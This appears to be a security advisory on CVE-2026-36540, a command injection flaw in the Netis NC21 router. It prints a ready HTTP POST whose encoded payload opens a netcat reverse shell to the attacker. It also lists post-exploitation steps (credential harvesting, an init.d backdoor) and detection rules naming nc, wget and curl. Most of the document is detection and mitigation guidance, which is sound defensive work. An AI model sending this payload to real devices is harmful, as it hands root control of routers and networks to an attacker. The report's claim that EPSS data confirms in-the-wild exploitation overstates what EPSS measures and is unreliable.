CVE-2026-36540

Executive Summary

CVE-2026-36540 is a critical unauthenticated command injection vulnerability affecting the Netis AC1200 Router NC21 (firmware V4.0.1.4296). The /cgi-bin/skk_set.cgi endpoint passes the password and new_pwd_confirm POST parameters directly to the underlying OS shell without sanitization, allowing any unauthenticated attacker on the LAN to execute arbitrary commands as root with a single HTTP request. Successful exploitation results in full remote code execution on the router, enabling complete network compromise, credential theft, and persistent backdoor installation. No patch is currently available, and the vulnerability is confirmed to be exploitable in the wild per EPSS data (68th percentile).

Technical Analysis

The Netis AC1200 Router NC21 exposes a web-based administrative interface on TCP port 80. The /cgi-bin/skk_set.cgi endpoint is responsible for handling wireless security key configuration settings. The application accepts two POST parameters — password and new_pwd_confirm — and subsequently uses these values to construct shell commands for the router's underlying Linux-based operating system.

The vulnerability exists because user-supplied input is concatenated directly into a shell command string without any sanitization, escaping, or parameterized execution. The POST parameters are passed to functions such as popen() or system(), which invoke /bin/sh to execute the constructed command. An attacker can break out of the intended command context by wrapping malicious payloads in backticks (`), which the shell interprets as command substitution. The base64 encoding of commands is a deliberate evasion technique to bypass any basic input filtering and to ensure reliable transport of complex payloads over HTTP POST.

The attack vector is simplified by the fact that no authentication is required to access this endpoint. The Netis NC21 management interface does not enforce session-based authentication for this specific CGI handler, meaning that any device on the local network segment (or remotely, if the management interface is exposed to the WAN) can submit a crafted POST request without credentials.

The command execution occurs with the privileges of the web server process, which typically runs as root on embedded router firmwares. This grants the attacker full control over the device's filesystem, network interfaces, firewall rules, and any services running on it. The injection point is reached via an HTTP POST to /cgi-bin/skk_set.cgi with parameters formatted as password=<payload>&new_pwd_confirm=<payload> where the payload is base64-encoded shell commands wrapped in backticks.

The vulnerability class is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The CVSS v3.1 vector reflects the network-accessible, unauthenticated nature of the flaw with high impact to confidentiality, integrity, and availability.

Exploitation Scenarios

Reconnaissance Phase: An attacker on the same LAN segment as the Netis AC1200 Router performs network scanning using tools like Nmap (nmap -p80 --open 192.168.1.0/24) to identify devices with port 80 open. The attacker then fetches the root page (GET /) and examines the WWW-Authenticate header or page title for "Netis" branding, confirming the target device.

Weaponization and Trigger: The attacker crafts a single HTTP POST request to the vulnerable endpoint. The payload is constructed to achieve reverse shell establishment. The attacker base64-encodes a command like id; nc -e /bin/sh 192.168.1.100 4444 and wraps it in backticks within the POST parameter:

POST /cgi-bin/skk_set.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Connection: close

password=`echo aWQ7IG5jIC1lIC9iaW4vc2ggMTkyLjE2OC4xLjEwMCA0NDQ0 | base64 -d | sh`&new_pwd_confirm=x

The endpoint concatenates this value into a shell command, e.g., iwconfig eth0 key <password>, which the shell interprets. The backticks trigger command substitution, executing the decoded payload.

Execution: The shell executes id; nc -e /bin/sh 192.168.1.100 4444, spawning a reverse shell back to the attacker's listening machine (nc -lvnp 4444). The attacker now has an interactive root shell on the router.

Post-Exploitation: The attacker performs the following actions:

1. Reads /etc/shadow and /etc/passwd to harvest credential hashes for the router's admin accounts.
2. Dumps the router's configuration file (/etc/config/*.conf or NVRAM) to extract WiFi passwords and any forwarding rules.
3. Modifies firewall rules (iptables -A INPUT -p tcp --dport 22 -j ACCEPT) to enable remote SSH access.
4. Installs a persistent backdoor by writing a custom script to the startup directory (/etc/init.d/) that re-establishes the reverse shell on boot.
5. Uses the compromised router as a pivot point to scan and attack other devices on the LAN, leveraging the router's trusted network position.

If the router's WAN-side management interface is accessible (via UPnP port forwarding or ISP misconfiguration), the same attack can be executed remotely from the internet, expanding the blast radius to any globally reachable NC21 device.

Impact Assessment

The vulnerability has a CVSS score of N/A, but the underlying characteristics map to a critical severity: unauthenticated, network-accessible, and resulting in full system compromise with root privileges. The EFSS score of 0.01320 and its 68th percentile ranking indicate that malicious actors are actively targeting this CVE, likely as part of botnet recruitment campaigns.

Business Impact: For enterprise environments that deploy Netis NC21 routers at branch offices or retail locations, successful exploitation grants attackers a foothold inside the network perimeter. From the router, an attacker can intercept traffic, redirect DNS queries to phishing sites, capture credentials of users on the LAN (via MITM attacks), and pivot to internal servers. The router's logs and configuration can be wiped to cover traces, and the device can be silently enrolled into a botnet for DDoS attacks or as a proxy for further intrusions.

Affected Systems: The specific affected version is Netis AC1200 Router NC21 V4.0.1.4296. Any device with this exact firmware version is vulnerable. Devices with similar Netis firmware lineages may also be affected but have not been confirmed.

Blast Radius: The immediate blast radius is the local network behind the router. However, given the lack of authentication and the trivial exploitation complexity (single HTTP POST), an attacker on the LAN can compromise the device in under 5 seconds. If the management port is exposed to the internet, the population of affected devices worldwide becomes the target surface. The attacker gains access to all network traffic traversing the router, including unencrypted HTTP traffic, DNS queries, and any credentials transmitted in cleartext.

Detection Guidance

Sigma Rule

title: Netis NC21 Command Injection Attempt Via skk_set.cgi
id: 46b47bbd-9f4a-4a0e-9f42-9831f3c84c77
status: experimental
description: Detects HTTP POST requests to the Netis AC1200 router's skk_set.cgi endpoint containing shell command substitution patterns.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-36540
author: Valters IT Security Team
date: 2026/02/18
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: POST
        cs-uri-path|contains: /cgi-bin/skk_set.cgi
        cs-uri-query|contains:
            - "password=`"
            - "new_pwd_confirm=`"
        # Look for base64 padding or shell syntax in POST body
    keywords:
        - "`echo"
        - "base64"
        - "`id`"
        - "`wget"
        - "$(("
        - ";sh"
        - "&&"
    condition: selection or keywords
falsepositives:
    - Legitimate configuration changes using special characters in WiFi passwords (unlikely but possible)
level: high

YARA Rule

rule Netis_CVE_2026_36540_Command_Injection
{
    meta:
        author = "Valters IT Security Team"
        date = "2026-02-18"
        description = "Detects HTTP POST payloads targeting Netis NC21 skk_set.cgi command injection"
        cve = "CVE-2026-36540"
        severity = "critical"

    strings:
        $endpoint = "/cgi-bin/skk_set.cgi" ascii nocase
        $param1 = "password=" ascii nocase
        $param2 = "new_pwd_confirm=" ascii nocase
        $backtick1 = "`" ascii
        $backtick2 = "$(" ascii
        $base64 = "base64" ascii nocase
        $shell = "/bin/sh" ascii nocase
        $nc = "nc -e" ascii nocase
        $wget = "wget " ascii nocase
        $curl = "curl " ascii nocase

    condition:
        $endpoint and $param1 and ($backtick1 or $backtick2) and
        (any of ($base64, $shell, $nc, $wget, $curl))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Netis NC21 skk_set.cgi Command Injection Attempt (CVE-2026-36540)"; flow:to_server; http.method; content:"POST"; http.uri; content:"/cgi-bin/skk_set.cgi"; http.client_body; content:"password="; http.client_body; pcre:"/password=.*[`$].*(base64|nc -e|wget|curl|sh)/Ui"; sid:2026003654; rev:1; metadata:created_at 2026-02-18, updated_at 2026-02-18; classtype:attempted-admin;)

Elastic Detection

sequence by source.ip
  with maxspan=5s
  [network where event.action == "connection_accepted" and destination.port == 80]
  [http where event.action == "http_request" and
     http.request.method == "POST" and
     http.request.uri contains "/cgi-bin/skk_set.cgi" and
     http.request.body.content contains "password=" and
     (http.request.body.content contains "`" or http.request.body.content contains "$((")]

Splunk SPL Query

index=proxy OR index=web sourcetype=access_combined
| where method="POST" AND uri_path="/cgi-bin/skk_set.cgi"
| where form_data LIKE "%password=%" AND (form_data LIKE "%`%" OR form_data LIKE "%$(%" OR form_data LIKE "%|bash%" OR form_data LIKE "%base64%")
| table _time, src_ip, dest_ip, uri_path, form_data

Wazuh OSSEC Rule

<group name="netis,cve-2026-36540,">
  <rule id="292583" level="15" frequency="1">
    <if_sid>31122</if_sid>
    <match>POST /cgi-bin/skk_set.cgi</match>
    <regex>password=.*[`$].*(echo|base64|sh|nc|wget|curl)</regex>
    <description>Netis NC21 Command Injection Attempt (CVE-2026-36540) detected on $srcip</description>
    <group>attack,exploitation,critical,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED — no patch evidence from any tracked source. The vendor (Netis) has not released a security advisory or firmware update to address CVE-2026-36540 as of the analysis date.

Immediate Mitigations (do these NOW):

1. Restrict network access to the router's management interface: Disable remote administration. If remote management must be enabled, restrict it via firewall rules to only trusted administrative IP addresses.
2. Isolate the router's LAN segment: Place the router in a segregated network zone. Do not route production traffic through it. If the device is used as a gateway, replace it with a patched alternative immediately.
3. Disable the vulnerable endpoint if possible: Review the router's configuration options; some firmware versions may allow disabling the wireless security settings CGI, though this is not confirmed for this model. As a fallback, block access to the /cgi-bin/skk_set.cgi path via an upstream firewall or WAF: deny http path /cgi-bin/skk_set.cgi from any source.
4. Monitor for exploitation attempts: Deploy the detection rules from this report in your IDS/IPS and SIEM. Alert on any HTTP POST to the /cgi-bin/skk_set.cgi URI from non-administrative IPs.
5. Decommission the device: If the NC21 router is not business-critical, replace it with a vendor that has a track record of security patching. Consumer-grade routers are frequently dropped from support, leaving vulnerabilities unpatched.

Patch/Upgrade Steps:

1. Check the Netis official support website (https://www.netis-systems.com) for any firmware updates for the NC21 model. If an update is released, download it and apply it via the router's web interface: System Setup → Firmware Upgrade → Browse → Flash.
2. Verify the installed firmware version after upgrade: navigate to System Status and confirm the version string. If the version still shows V4.0.1.4296, the device remains vulnerable.
3. Contact Netis support to request a security advisory and confirm whether patches are in development. Escalate via your vendor management process to obtain a formal response.

Long-Term Hardening:

1. Replace the device: Given the unpatched status, plan to replace all Netis NC21 devices with hardware that receives regular security updates. Prioritize devices with enterprise support SLAs.
2. Network segmentation: Ensure that IoT-smart home and router management traffic is segmented from the corporate LAN. Use VLANs to isolate untrusted devices.
3. Disable unused services: Turn off UPnP, remote management, and any other network-exposed features on the router.
4. Change default credentials: Even though the vulnerability is unauthenticated, hardening other access points reduces overall risk.
5. Vendor risk management: Establish a policy requiring vetted security patch support for all network equipment procurement. Track the vendor's CVE mitigation history.
6. Enable logging and monitoring: Centralize logs from the router to a SIEM (via syslog) to enable faster detection of anomalous behavior.

References

1. NVD Entry: CVE-2026-36540 — https://nvd.nist.gov/vuln/detail/CVE-2026-36540
2. Netis Official Support Portal: https://www.netis-systems.com/Support/
3. MITRE ATT&CK: T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
4. CWE-78: Improper Neutralization of Special Elements used in an OS Command: https://cwe.mitre.org/data/definitions/78.html
5. FIRST EPSS: CVE-2026-36540 Score Data: https://www.first.org/epss/search?cve=CVE-2026-36540

Threat Actor Campaigns: At the time of this report, no specific APT group or known ransomware campaign has been publicly attributed to CVE-2026-36540. However, the EPSS percentile ranking (68th) indicates observed exploitation attempts in the wild, likely originating from botnet controllers (e.g., Mirai variants) that routinely target unpatched router vulnerabilities to grow their DDoS fleets. Organizations should assume the vulnerability is actively exploited and take immediate mitigation action.